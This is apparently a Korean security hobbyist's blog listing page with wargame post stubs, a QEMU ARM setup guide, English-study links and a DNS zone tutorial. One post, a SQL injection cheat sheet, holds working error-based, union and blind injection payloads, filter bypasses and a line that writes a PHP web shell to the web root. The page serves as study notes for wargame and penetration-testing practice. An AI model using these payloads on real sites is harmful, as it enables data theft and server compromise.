Be myself :: '분류 전체보기' 카테고리의 글 목록 (6 Page)

달력

42024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

'분류 전체보기'에 해당되는 글 116건

  1. 2015.01.06 codegate 2013 vuln400
  2. 2014.12.26 qemu를 이용한 arm system 설치 1
  3. 2014.12.05 <펌>영어공부 사이트들
  4. 2014.12.03 blind injection tool
  5. 2014.12.02 [pwnable.kr]rootkit
  6. 2014.12.02 [pwnable.kr]unexploitable
  7. 2014.11.27 Sqli 기본 패턴
  8. 2014.11.25 DNS서버 zone 설정
  9. 2014.11.15 [pwnable.kr] tiny
  10. 2014.11.13 webhacking.kr 23 6

codegate 2013 vuln400

Wargame 2015. 1. 6. 11:42

풀면서 쓴 과정을 정리했다.


codegate2013 vuln 400.pdf



'Wargame' 카테고리의 다른 글

[pwnable.kr]syscall  (0) 2015.01.07
rwthCTF Trafman(ARM)  (0) 2015.01.06
[pwnable.kr]rootkit  (0) 2014.12.02
[pwnable.kr]unexploitable  (0) 2014.12.02
[pwnable.kr] tiny  (0) 2014.11.15
Posted by flack3r
|

QEMU를 이용한 armv7 설치

1 처음엔 당연히 qemu를 설치해야 한다.
sudo apt-get install qemu-user-static qemu-system-arm

 

2. 그 다음 커널을 넣을 이미지 파일이 필요하고, arm system의 경우 바이오스가 없기 때문에 부트로더 역할을 하는 initrd라는 것이 필요하다. 그 다음 커널이 필요하게 된다. 따라서 다음과 같은 명령어를 입력하자 여기서 설치하는 커널은 armel이 아니라 armhf이다. 이것은 ARMv7명령어와 하드웨어 부동소수점 계산을 에뮬레이트 한다.
qemu-img create -f raw hda.img 3G

wget http://ftp.debian.org/debian/dists/wheezy/main/installer-armhf/current/images/vexpress/netboot/initrd.gz

wget http://ftp.debian.org/debian/dists/wheezy/main/installer-armhf/current/images/vexpress/netboot/vmlinuz-3.2.0-4-vexpress

 

3 자 이제 다음과 같은 명령어로 설치를 진행한다.
qemu-system-arm -nographic -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.gz -append "root=/dev/mmcblk0 console=ttyAMA0,115200" -drive if=sd,cache=unsafe,file=hda.img

 

4. 설치가 끝난 후 다시 qemu를 재실행하면 다시 설치화면으로 오기 때문에 커널과 부트로더가 설치된had.img를 마운트시켜 initrd.img파일을 뽑아와야 한다.

·                     mkdir mountdir

·                     mount -o loop,offset=$((512*2048)) hda.img mountdir/

·                     cp mountdir/initrd.img-3.2.0-4-vexpress .

·                     umount mountdir/

 

5. 자 그 다음 다음과 같은 명령어로 실행시키면 된다.

·                     qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -append "root=/dev/mmcblk0p2" -drive if=sd,cache=unsafe,file=hda.img

 

6. 네트워크 세팅의 경우 DNS서버라던지 DHCP 같은 것들을 수작업으로 작업해야 하므로 복잡하다. 그래서 port redirection으로 ssh연결을 하는 방법을 설명하겠다. 일단 실행명령어에 -redir tcp:6666::22라는 명령어를 추가하여 실행시킨다. 그리고 초기 설치시 ssh서버 설치를 선택했어야 한다. 그 후 arm 가상환경에서 ssh-keygen -t rsa 명령어를 입력하고 게스트에서 ssh id@localhost –p 6666으로 접속하면 된다.!

* 주의할 점은 저렇게 순서대로 하면 파일시스템이 읽기 권한만 있어서 ssh-keygen 생성이 불가능하다. 따라서 처음에 mount -o remount,rw / 이렇게 쓰기권한을 주고 리마운트 시킨다.

'memo' 카테고리의 다른 글

리눅스 c로 coroutines 구현  (0) 2015.08.15
문자열 함수들 특징  (0) 2015.03.22
strcpy에 대한 팁.!  (0) 2015.03.10
Posted by flack3r
|

영어공부를 하기 위해서 꼭 비싼 돈을 지불할 필요가 있을까요... 인터넷과 IT의 발달로 집에서도 무료로 영어공부할 수 있는 기회가 점차 늘어나고 있습니다. 저는 즐겨찾기에 이런 사이트들을 차곡 차곡 저장해두고 있는데요, 여러분께 그 사이트들을 쏵~ 다 공개합니다!   [1] VOA News Special English http://www.voanews.com/specialenglish/index.cfm Voice of America(=VOA)는 워낙 유명한 곳이라서 다 알고 계시겠지만 혹시 모르시는 분들을 위해 이곳에 소개해둡니다. 다른 사이트는 다 잊어버리더라도 VOA News 만큼은 꼭 기억해두시면 좋겠습니다. 동영상 뉴스의 자세한 이용방법은 [voanews 동영상 시청하는 곳!] 포스팅을 참고해주세요. VOANews.com은 미국영어를 학습하는데 최적화된 사이트입니다. 미국의 역사, 문화, 정치, 시사 관련 신문 기사를 '쉬운 영어'로 접하실 수 있습니다. 여기서 말하는 '쉬운 영어'란 정확한 영어문장을 구사하되, 독해를 어렵게 만드는 난해한 단어, 복잡한 언어구조의 사용이 최대한 배제된 상태의 영어를 일컫습니다. 원어민이 천천히, 그리고 또박또박 기사를 읽어주기 때문에 아직 CNN과 같은 고급 영어듣기에 부담을 느끼시는 분들께 적극 추천하는 뉴스 사이트입니다. 물론 mp3 다운로드 서비스도 함께 제공됩니다. 아침에 기사 2~3개를 공부한 뒤, 출퇴근 혹은 등하교 시간을 이용하여 mp3 플레이어로 그 기사들을 복습해보세요. 짜투리 시간을 활용하여 많은 듣기 연습을 하실 수 있을 겁니다.   [2] Repeat After Us http://repeatafterus.com/genre.php?g=childrensstories&s=a 미국 어린이들이 읽는 영어 동화를 무료로 마음껏 즐기실 수 있는 사이트입니다. 예전에 영어소설 읽기와 관련된 글을 올렸을 때 (2009/08/29 - [영어공부] - 영어소설로 영어공부한다? 5가지 노하우), 많은 분들께서 두꺼운 영어소설 대신 영어동화부터 시작해보겠다는 댓글을 남겨주셨는데요, 그 분들께 유용한 사이트가 되지 않을까 생각됩니다. 페이지 상단의 Fable Aesop이 바로 '이솝 우화'입니다. 짧고 쉬운 내용들로 가득하기 때문에 부담없이 영어공부를 시작하실 수 있습니다. 'Read by'라고 적혀 있는 동화의 경우 원어민이 직접 동화를 읽어줄 뿐만 아니라 mp3도 다운받을 수 있습니다.   [3] Audio English http://www.audioenglish.org/ 영어회화를 공부하기에 정말 좋은 사이트입니다. 개인적으로 메뉴에 있는 Dialogues 섹션을 추천합니다. 일상 생활에서 쉽게 접할 수 있는 대화가 가득합니다. 현재 186개의 짧은 대화가 올라와있습니다. 다른 사이트와 달리 mp3를 다운받을 수 없다는 점이 좀 아쉽지만, 재생 버튼만 누르면 버퍼링 없이 원어민들의 대화를 마음껏 청취하실 수 있습니다. 대학수학능력시험이나 토익 정도의 시험을 준비하시는 분들께 많은 도움이 되리라 생각됩니다.   [4] ESL Lab http://www.esl-lab.com/ 영어듣기를 하며 직접 문제까지 풀어보고 싶으신 분들을 위한 사이트입니다. Easy, Medium, Difficult와 같이 수준별로 영어듣기과제가 나누어져 있습니다. 자신에게 맞는 레벨을 선택해서 문제풀이에 도전하시면 됩니다. 문제를 풀고 [Final Score] 버튼을 누르시면 바로 채점결과가 나옵니다. 틀린 문제가 있다면 대화를 2~3번 더 들어보도록 하세요. 그래도 잘 모르겠다면 [Quiz Script]를 클릭하셔서 대본을 확인하셔도 좋습니다.   [5] NPR.org http://www.npr.org/templates/rundowns/rundown.php?prgId=2 영어듣기에 어느 정도 자신감이 생기신 분들께 추천하는 사이트입니다. NPR은 미국 공영 라디오 방송입니다. 고급 어휘가 많을 뿐더러 진행자의 말하는 속도도 상대적으로 빠릅니다. 수준 높은 영어를 공부하기에 딱 좋은 사이트입니다. 대본이 제공되지 않는다는 점이 좀 아쉽지만, NPR 역시 mp3 다운로드 기능을 제공합니다. mp3 플레이어를 활용하여 틈틈이 영어듣기를 연습해 보세요.   [6] Project Gutenberg http://www.gutenberg.org/wiki/Main_Page 영어소설을 무료로 다운받을 수 있는 사이트입니다. 2만권 이상의 책을 보유하고 있습니다. 책이 너무 많아서 어떤 책을 다운받아야 할지 고민된다면 [Top 100 downloads] 페이지를 이용하시면 됩니다. 지난 7일 동안 가장 많이 다운로드 된 책 목록을 보여주기 때문에 선택의 폭이 좀 줄어들 것입니다. 그 중에서 가장 흥미로워 보이는 영어책을 선택해 보세요. PDF, HTML, TXT 파일 형태로 책을 다운받아 보실 수 있습니다. [여기]에 들어가시면 책을 읽어주는 서비스인 오디오북 mp3의 다운로드도 가능합니다. MP3 플레이어에 넣어 틈틈이 들으면 영어듣기 실력을 향상시키는 데 많은 도움이 됩니다.   [7] Voices in the Dark http://voicesinthedark.com/content.php?iContent=50 Project Gutenberg처럼 영어소설을 무료로 다운받을 수 있는 사이트입니다. Gutenberg 사이트보다 책 수가 적은 편입니다. 하지만 구텐베르그 사이트가 일부 책에만 mp3를 제공하는 것과는 달리, voices in the dark에서는 모든 영어책의 mp3 파일을 마음껏 다운받으실 수 있습니다. [Transcript]를 클릭하시면 영어소설의 본문이 뜹니다. 따로 워드파일과 같은 텍스트 파일을 제공하지 않기 때문에 프린트를 하시려면 한글 파일에 따로 복사를 한 뒤 출력을 하도록 하세요. (종이와 잉크를 아끼기 위해서죠! ㅎㅎ)   [8] LoudLit.org http://www.loudlit.org/collection.htm 사이트 이름이 암시하듯, LoudLit.org는 영어소설을 읽어주는 사이트입니다. [WEB: Listen & Read] 혹은 [MP3: Listen]을 선택하실 수 있는데요, WEB을 선택하시면 짧은 단위로 소설을 읽을 수 있기 때문에 (동시 듣기도 가능함) 부담없이 영어소설을 즐기실 수 있습니다. 마치 진짜 책장을 한장 한장 넘기면서 소설을 읽는 듯한 느낌이 납니다. 책을 읽어주는 외국인 발음도 상당히 정확하고 알아듣기 쉽습니다.   [9] FullBooks.com http://www.fullbooks.com/ 최근에 알게 된 영어소설 사이트입니다. 검색기능이 없는 것이 단점이지만, 상당히 많은 책을 보유하고 있습니다. 검색을 하시려면 인터넷 익스플로러 자체 검색기능인 ctrl+f를 활용하도록 하세요. 군더더기없이 깔끔한 인터페이스가 마음에 듭니다.   [10] Electronic Text Center http://etext.lib.virginia.edu/ebooks/   미국 버지니아 대학에서 만든 무료 ebook 사이트입니다. 현재 2100권의 책이 인터넷으로 무료로 제공되고 있습니다. 검색은 [여기]를 이용하시고, 인기 책 목록은 [여기]에서 확인 가능합니다. 미국 대학에서 만든 사이트이다 보니 미국 역사, 미국 문화와 관련된 책을 많이 보유하고 있습니다.   [11] USA Learns http://www.usalearns.org/ 미국 연방 정부에서 제작한 사이트이기 때문에 상당히 믿음직스러운(?) 사이트입니다. 페이지에 접속하셔서 'start now' 버튼을 눌러보세요. Beginning, Low-Intermediate, Intermediate 총 3개의 단계로 나누어진 강의가 제공되고 있음을 확인하실 수 있을겁니다. 영어공부자료를 이용하는데 있어 따로 회원가입은 필요없지만, 회원가입을 하시면 현재 진도와 획득 점수 등을 저장할 수 있다는 이점이 있습니다. 직접 사이트 이용해 보시면 아시겠지만 웬만한 영어회화 교재 저리가라 할 정도의 분량과 양질의 수업자료가 제공되고 있습니다. 동영상 화질도 깨끗하고... 아무튼 정부가 직접 만든 사이트는 뭔가 다르다는 생각이 드네요.   [12] IT Conversations http://itc.conversationsnetwork.org/ IT 업종에 종사하시거나 IT에 관심이 많은 분들이 활용하기에 좋은 영어공부 사이트입니다. 사이트 내의 모든 자료가 IT와 관련되어 있다보니 IT를 좋아하시는 분들이 자연스럽게 영어공부를 하게끔 만드는 사이트이지요. IT Conversations의 경우 따로 영어학습을 위해 만들어진 사이트는 아닙니다. 하지만 제가 이 사이트를 추천하는 이유는 사이트 내의 모든 듣기자료를 mp3 파일 형태로 무료로 다운받을 수 있기 때문입니다. Play 버튼을 누르면 오디오 파일이 실시간으로 재생되며, Download 버튼을 누르면 별도의 추가과정 없이 mp3 파일을 바로 다운받을 수 있습니다. 왼쪽 메뉴에 보시면 현재 진행되고 있는 각종 토크쇼 목록이 나옵니다. 마음에 드는 주제를 선택하셔서 바로 영어듣기 연습을 시작해 보세요.   [13] JS 영어회화사전 http://www.jsenglish.com/conver/conver.htm JS English란 곳에서 무료로 제공하고 있는 영어학습자료입니다. 왼쪽 목차를 보시면 아시겠지만 일상회화 표현이 주제별로 잘 정리되어 있습니다. PRINT 메뉴를 통하여 자료를 출력하기가 매우 편리하며, 듣기도 실시간으로 연습할 수 있어 영어회화를 처음 학습하고자 하는 초보분들께 많이 추천해드리는 사이트입니다. 특히 Speaking Tip에 괜찮은 내용들이 잘 정리되어있으니 공부하실 때 이 부분 꼭 참고해주세요.   [14] 영어학습사전 http://dic.impact.pe.kr/ 인터넷으로 영어공부자료를 조금이라도 찾아보신 분들이라면 다 아는 사이트죠. 개인이 개발한 인터넷 사전임에도 불구하고, 단어 뜻을 찾아볼때 이 사이트만큼 간편한 곳이 따로 없습니다. 특히 숙어 등의 phrase 검색 기능에 제공되기 때문에 영문번역 및 영작 시 매우 유용하게 사용할 수 있습니다. 실시간 공개채팅방을 통해 실시간으로 모르는 내용을 질문할 수도 있습니다.   [15] Archive.org http://www.archive.org/ Archive.org는 웹사이트의 과거 모습을 볼 수 있는 사이트로 국내 네티즌들 사이에서 많이 알려져 있습니다. 사실 이 사이트는 웹사이트 과거 모습 뿐만 아니라 인터넷 상에 올려진 각종 영상/음악/음성/텍스트 파일을 DB로 저장해 몇년간 보관해오고 있습니다. 메인페이지에 보시면 Web(=웹사이트 과거 모습), Moving Images(=동영상), Live Music Archive(=음악), Audio(=오디오파일), Texts(=텍스트 문서) 총 5개의 섹션으로 사이트가 이루어져 있음을 알 수 있는데요, 말 그대로 영어로 된 각종 형태의 자료가 모조리 무료로 제공되고 있습니다. 5개의 메뉴 중 하나에 들어가면 다시 세부 주제를 선택하실 수 있습니다. 여러분이 좋아하는 분야를 선택하셔야 오랫동안 흥미를 가지고 영어공부에 임할 수 있습니다.   [16] CNN Video http://www.cnn.com/video/ CNN 공식 홈페이지 내의 Video 섹션으로서 CNN 방송을 무료로 즐기실 수 있습니다. CNN에서 방영된 뉴스 클립(대략 1분~5분짜리 영상)이 주제별로 잘 정리되어 있습니다. 저는 주로 Tech와 Health 관련 영상을 많이 본답니다.   [17] 해커스 무료 강의 http://www.hackers.co.kr/Html/S_Lec/index.html 토플 공부할 때 해커스 교재로부터 많은 도움을 받았는데, 해커스 홈페이지에 가보시면 무료 강의도 많이 준비되어 있습니다. 개인적으로 '해커스AP뉴스받아쓰기'를 추천합니다. 받아쓰기 분량이 작기 때문에 매일 매일 부담없이 받아쓰기 연습을 하실 수 있습니다.   [18] BBC Learning English http://www.bbc.co.uk/worldservice/learningenglish/ 영국방송 BBC에서 제공하는 영어학습 관련 컨텐츠입니다. 문법, 어휘, 발음 등의 자료가 잘 정리되어 있는데요, 각 자료마다 스스로를 테스트 할 수 있는 Exercise가 제공되므로 복습에 용이합니다.   [19] Watch TV Online http://www.tvchannelsfree.com/ 심심할때마다 들어가보는 사이트입니다. 3000개가 넘는 전세계 곳곳의 TV 채널을 무료로 시청할 수 있다죠. 진지한 영어공부를 위해서라면 BBC World News를 추천하지만, 스포츠 채널과 같이 자신의 관심사가 반영된 채널을 시청하는 것도 영어공부에 많은 도움이 됩니다. 과거 글에서도 여러번 강조한바 있지만 일상 속에서 영어공부를 하는 것만큼 효과적인 영어공부법이 따로 없습니다. 구체적인 노하우는 [영어공부 혼자하기, 일상에서 재미있게 영어 공부하는 노하우 3가지] 포스팅을 참고해주시길 바랍니다.   [20] Zinio http://www.zinio.com/browse/publications/free-samples.jsp… 영어 잡지를 무료로 읽을 수 있는 사이트입니다. 왼쪽에 보면 [free]라는 메뉴가 있는데요, 클릭하면 사이트에서 제공되는 총 36개의 무료 잡지를 확인하실 수 있습니다. 회원가입 후 자신의 아이디로 잡지를 신청하면 이메일로 잡지를 읽을 수 있는 사이트 링크가 보내집니다. 저는 Reader's Digest를 신청해서 보았는데, 영어공부에 많은 도움이 되더라구요. 출처: http://thinknow.tistory.com/255



'Life' 카테고리의 다른 글

카카오톡 블라인드 코딩테스트 3차 후기  (2) 2017.10.30
Posted by flack3r
|

blind injection tool

web 2014. 12. 3. 20:59

<Get 방식>

blindinjection.py


<POST 방식>


post.py


'web' 카테고리의 다른 글

Sqli 기본 패턴  (0) 2014.11.27
DNS서버 zone 설정  (0) 2014.11.25
test page 만들기  (0) 2014.07.20
웹 기본 프로토콜  (0) 2014.05.04
Posted by flack3r
|

[pwnable.kr]rootkit

2014. 12. 2. 16:06

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[pwnable.kr]unexploitable

2014. 12. 2. 16:02

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Sqli 기본 패턴

web 2014. 11. 27. 18:03

SQLi 패턴 정리

 

1 sqli의 큰 흐름
1-1 파라미터의 타입 결정

일단 sql관련 공격은 보통 처음에 예를 들어 select * from table where id=3 에서 3이 싱글쿼터로 감싸져 있느냐, 더블쿼터이냐 ( ) 안에 있냐 등을 먼저 알아본다. 그 방법은 총 세가지로 나뉜다.

1) 에러 출력 -> 싱글쿼터나 더블쿼터 혹은 \ 등을 입력하여 오류출력을 시도하고 오류를 출력한다면, 쿼리가 어떻게 구성되어서 sql서버로 날아가는지 쉽게 알 수 있다.
2) and 연산자 이용 -> 일종의 블라인드 인젝션인데 (id=1' and 1=0 ) 등을 입력하여 정상출력과 비정상출력을 확인하여 쿼리를 예측한다. 처음에 1=0을 입력해서 여러 가지 시도하다 어느 순간 아무것도 보이지 않는다면, 그 파라미터 타입이 맞는 것이므로 이 때부터 공격방향을 정해 공격하면 된다.
3) sleep 이용 -> 이것 또한 일종의 블라인드 인젝션인데 id=1' and sleep(5) 이런식으로 쿼리를 날려서 sleep한다면, 그것이 맞는 것이므로 공격 ㄱㄱ~

1-2 공격방법 결정

공격방법 또한 3가지로 나뉘어 진다.

  1. 에러기반 공격
  2. Union all select 등을 기반으로 다양한 서브쿼리들 혹은 내장함수 이용
  3. 블라인드 인젝션 -> time based, 혹은 ascii, substr, binascii 등 내장함수 이용

2. 파라미터 타입 결정
2-1 에러기반으로 쿼리 예상하기(에러가 뜰 경우)

2-2 에러가 뜨지 않는다면 블라인드 인젝션 식으로 and연산자등을 이용해 쿼리를 추측한다.

3. 에러기반 공격

에러기반으로 테이블이나 각종 데이터베이스 정보를 유출한다.

1. Having 과 group by로 필드 알아내기
select * from test where id ='1' having 1=1# (오류)
select sum(5), concat(111,222,floor(rand(0)*2)) as a from information_schema.tables group by a
select * from test where id = '1' group by test.id having 1=1#(정상출력)

1-1 데이터베이스 버전 정보 유출
select * from test where id = '1' or 1 group by concat(0x3a,version(),floor(rand(0)*2)) having min(0)#

1-2 데이터베이스 이름 유출
select * from users where id='' or (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#;

1-3 테이블 유출
and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

1-4 칼럼네임 유출
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

1-5 데이터 유출
and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from Databasename.TABLENAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2. Convert를 통해 정보유출
select * from test where id=1 and '1'=convert(int,(select top 1 table_name from information_schema.tables))# 이렇게 해서 test란 테이블이 나온 후 다음과 같이 입력한다. select * from test where id=1 and '1'=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('test')))#

4. union select

기본 단계) order by나 union all select null을 늘려가며 필드 수 확인

단계 1-1) 현재 데이터베이스확인

단계 1-2) 테이블 뽑기

단계 1-3) 칼럼 뽑기

    ---------------------------------------------------------------------------------------------------------

단계 2-1) 서버의 파일 읽기

    

    ---------------------------------------------------------------------------------------------------------

단계 3-1) 웹쉘 올리기

    id=50") union all select null,'<?php system($_GET[\'input\']); ?>',null into outfile '/var/www/hack.php'%23

5. blind injection

Ascii, substr, if문 등을 이용해 한 글자씩 따온다.

6. 각종 우회기법

6-1 특정 키워드나 스트링이 막힌 경우 막혔다면
%00이나 /**/, '%0d' 등으로 우회 시도해본다. 예를 들어 admin자체가 막혔다면 admi'%0d'n으로 우회한다. 혹은 like도 사용 가능하다.

6-2 주석이 막혔을 경우
#이나 –가 막혔을 경우 %23이나 ;%00 /* 등을 시도해 보자.

6.3 싱글쿼터
싱글쿼터가 막혀 문자열을 사용할 수 없다면 0x 나 36진수를 이용해 select conv(10,10,36)='A' 이런식으로 우회한다. 혹은 내장함수를 이용해 가젯처럼 추출해 우회할 수 있다.
select substr(monthname(from_unixtime(1)),2,1)='a' // monthname(from_unixtime(1)) = 'January'

6.4 숫자
숫자가 막혔다면 auto type cast를 이용한다. false = 0, true = 1, true+true = 2

6.5 blind injection시 substr이 막혔을 경우
like를 이용한다. Ex)
select id from member where id like 'a%'
혹은 left나 right, mid, lpad, rpad, reverse등의 내장함수를 적극 활용한다.

6.6 if함수 필터링시
case()나 ifnull(), nullif()로 우회한다.

6.9 information_schema select 등 우회
procedure analyse()
함수로 우회된다.

참고 - http://hackerschool.org/Sub_Html/HS_Posting/?uid=43, "웹 모의해킹 및 시큐어코딩 진단가이드"등 각종 사이트들..

'web' 카테고리의 다른 글

blind injection tool  (0) 2014.12.03
DNS서버 zone 설정  (0) 2014.11.25
test page 만들기  (0) 2014.07.20
웹 기본 프로토콜  (0) 2014.05.04
Posted by flack3r
|

DNS서버 zone 설정

web 2014. 11. 25. 12:31

출처: http://ricky840.tistory.com/10

Zone 파일 내용은 보통 아래와 같이 사용합니다.

$TTL 86400

@ IN SOA dns.yongbok.net. ruo91.yongbok.net. (

   2009111614 ; Serial

   604800 ; Refresh

   86400 ; Retry

   2419200 ; Expire

   86400 ) ; Minimum

@ IN NS dns.yongbok.net.

@ IN NS dns2.yongbok.net.

;

   MX 10 mail.yongbok.net.

   MX 20 mail2.yongbok.net.

   MX 30 mail3.yongbok.net.

   MX 40 mail4.yongbok.net.

   MX 50 mail5.yongbok.net.

;

   A 124.51.213.64

www A 124.51.213.64

ftp A 124.51.213.64

ruo91 A 124.51.213.64

;

; CNAME

www2 IN CNAME www

nate.yongbok.net. IN CNAME www.nate.com.

1. SOA 레코드 (Start Of Authority)

이 SOA 레코드는 해당 도메인에 대해서 네임서버가 인증된 데이타를 가지고 있음을 의미하며 해당도메인에 대해 네임서버가 최적의 상태를 유지할 수 있도록 해주고 SOA 레코드의 앞에는 @ 를 보통 많이 쓰게 합니다.

@ IN SOA dns.yongbok.net. ruo91.yongbok.net. (

SOA레코드 뒤에 괄호로 묵은 부분에는 Serial, Refresh, Retry, Expire, Minimum 5개의 시간 필드가 놓입니다.

Minimum을 제외한 나머지 필드는 Secondary를 제어하기 위한 필드이며 초 단위가 기본입니다.

2009111614 ; Serial

604800 ; Refresh

86400 ; Retry

2419200 ; Expire

86400 ) ; Minimum

- Serial

2차 네임서버가 Zone 파일의 수정여부를 알 수 있도록 하기 위한 옵션입니다.

1차 네임서버와 2차 네임서버를 운영중 일때 1차 네임서버의 Zone 파일의 내용이 변경 되면 반드시 Serial 를 증가 시켜줘야 2차 네임서버가 자신의 현재 Serial 를 비교하여 값이 작다면 Zone 파일의 정보를 갱신을 하게 됩니다. 2차 네임서버를 사용하지 않는다면 Serial 은 의미가 없습니다.

- Refresh

1차 네임서버의 Zone 파일 수정 여부를 2차 네임서버가 검사를 하기위한 옵션입니다.

Zone 파일의 정보 변경이 잦을 경우 이 주기를 10800(3H)이하로 맞추어주는 것이 효과적이며 일반적으로는 43200(12H)정도가 적당합니다.

- Retry

2차 네임서버에서 1차 네임서버로 연결이 되지 않을 경우 재접속을 요구하는 옵션입니다.

Refresh 보다 적어야만 의미가 있기 때문에 주의를 요합니다.

- Expire

Secondary가 Expire에서 지정한 시간동안 primay에 연결하지 못 할 경우, 해당 도메인이 유효하지 않다고 보고, 해당 도메인에 대한 정보를 전송하지 않는 것 입니다.

이 값은 너무 낮게 설정하지 않는 것이 좋습니다.

- Minimum

제 3의 네임서버.. 즉, 다른 네임서버가 본 서버의 Zone 파일의 정보를 가지고 갔을 경우 그 정보에 대해 캐쉬에 살아있는 시간을 설정하는 것입니다. TTL(Time To Live )값이 명시되지 않은 레코드는 본 값을 기본으로 갖게되며 특정 레코드가 변경이 되었을 때, 이것이 다른 네임서버로 정보가 전달되어 업데이트가 되는 주기는 Minimum의 값을 기본으로 합니다. 일반적으로 10800(3H)가 적당합니다.

2. NS 레코드(Name Server)

DNS 서버로 사용할 도메인을 설정을 하게 해줍니다.

@ IN NS dns.yongbok.net.

@ IN NS dns2.yongbok.net.

위는 NS레코드의 기본적인 설정 내용이며 2개이상의 네임서버를 사용하고자 할때에는 아래와 같이 계속 늘려주기만 하면 됩니다.

@ IN NS dns.yongbok.net.

@ IN NS dns2.yongbok.net.

@ IN NS dns3.yongbok.net.

@ IN NS dns4.yongbok.net.

@ IN NS dns5.yongbok.net.

DNS 서버를 여러개 사용할 경우 A 레코드를 사용하여 RR(Round Robin) 방식을 사용해야 합니다.

3. A 레코드(Address)

A 레코드는 해당 도메인에 IP를 부여할수 있습니다.

   A 124.51.213.64

www A 124.51.213.64

ftp A 124.51.213.64

ruo91 A 124.51.213.64

NS에서 설정한 도메인은 모두 A레코드로 설정해야 제대로 작동이 가능합니다.

위의 NS 레코드에서 여러개의 도메인 서버를 사용하고자 할때에는 A 레코드로 RR(Round Robin)을 설정 합니다.

@ IN NS dns.yongbok.net.

@ IN NS dns2.yongbok.net.

@ IN NS dns3.yongbok.net.

@ IN NS dns4.yongbok.net.

@ IN NS dns5.yongbok.net.

즉, 위와 같은 DNS 서버를 5개 사용할 경우 A 레코드에는 해당 서버의 아이피를 부여 해주셔야 합니다.

dns A 124.51.213.64

dns2 A 124.51.213.65

dns3 A 124.51.213.66

dns4 A 124.51.213.67

dns5 A 124.51.213.68

예를 들자면.. 네이버의 경우 웹서버를 RR(Round Robin)을 이용하여 분산처리를 한듯합니다.

nslookup 으로 확인 해보면 아래와 같이 RR 을 사용한것을 볼수 있네요.

[root@yongbok ~]# nslookup naver.com

Server: 168.126.63.1

Address: 168.126.63.1#53

Non-authoritative answer:

Name: naver.com

Address: 202.131.29.70

Name: naver.com

Address: 202.131.29.71

Name: naver.com

Address: 222.122.195.5

Name: naver.com

Address: 222.122.195.6

4. CNAME 레코드(Canonical Name)

다른 도메인으로 알리아스(Alias)를 시킬 때 사용하는 레코더 입니다.

www2 IN CNAME www

nate.yongbok.net. IN CNAME www.nate.com.

www2 로 접속을 하면 www.yongbok.net 으로 맵핑 되어 버립니다.

또 nate.yongbok.net 로 접속을 하면 www.nate.com 으로 맵핑이 되어 버립니다.

확인을 위해 예를 들자면.. 한국의 구글의 co.kr 도메인은 .com 으로 연결되게 CNAME 이 걸려 있고

구글의 .com 도메인은 www.l.google.com 도메인으로 CNAME 이 걸려 있네요..

[root@yongbok ~]# nslookup www.google.co.kr

Server: 168.126.63.1

Address: 168.126.63.1#53

Non-authoritative answer:

www.google.co.kr canonical name = www.google.com.

www.google.com canonical name = www.l.google.com.

Name: www.l.google.com

Address: 74.125.53.106

Name: www.l.google.com

Address: 74.125.53.147

Name: www.l.google.com

Address: 74.125.53.99

Name: www.l.google.com

Address: 74.125.53.103

Name: www.l.google.com

Address: 74.125.53.104

Name: www.l.google.com

Address: 74.125.53.105

5. MX 레코드(Mail eXchanger)

MX레코더는 해당 호스트의 메일 라우팅 경로를 조절하는 레코더 이며 메일을 사용하기 위해서는 필수로 설정을 해주어야 합니다.

MX 10 mail.yongbok.net.

MX 20 mail2.yongbok.net.

MX 30 mail3.yongbok.net.

MX 40 mail4.yongbok.net.

MX 50 mail5.yongbok.net.

위와 같이 메일서버의 순서를 정하며 각각의 메일 서버는 A 레코드로 메일 서버의 아이피를 부여 해주셔야 합니다.

여기서 주의할 점은 CNAME로 설정한 정보는 아래와 같이 MX레코드에 사용해서는 않됩니다.

mail.yongbok.net. IN CNAME dns.yongbok.net.

@ IN MX 10 mail.yongbok.net.

이렇게 사용하게 되면 메일이 도착하지 않을 가능성이 크기 때문에 주의를 요합니다.

6. PTR 레코드(Pointer)

PTR 레코드는 A 레코드와 상반된 개념입니다. 즉, A 레코드는 도메인에 대하여 아이피를 부여 해줬지만 PTR 레코드는 IP주소에 대해 도메인명을 매핑하여 주는 역할을 합니다. 보통 Reverse Zone 파일에서 사용을 합니다.

; Revers Domain Zone File

$TTL 86400

;

; SOA 레코드 추가

@ IN SOA dns.yongbok.net. ruo91.yongbok.net. (

;

   2009111614; ; Serial

   604800 ; Refresh

   86400 ; Retry

   2419200 ; Expire

   86400 ) ; Minimum

; 네임 서버로 지정

@ IN NS dns.yongbok.net.

;

5 PTR yongbok.net

5 PTR www.yongbok.net

5 PTR ftp.yongbok.net

5 PTR ruo91.yongbok.net

'web' 카테고리의 다른 글

blind injection tool  (0) 2014.12.03
Sqli 기본 패턴  (0) 2014.11.27
test page 만들기  (0) 2014.07.20
웹 기본 프로토콜  (0) 2014.05.04
Posted by flack3r
|

[pwnable.kr] tiny

2014. 11. 15. 00:19

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

webhacking.kr 23

Wargame 2014. 11. 13. 16:09

풀고나서 다른 풀이들을 보려고 검색하니까 대부분 풀이가 너무 판박이처럼 똑같아서 내가 푼 방식을 써둔다.

문제는 간단하다. 저기에 질의를 보내면 필터링에 걸러지지 않으면 다음과 같이 뜬다.
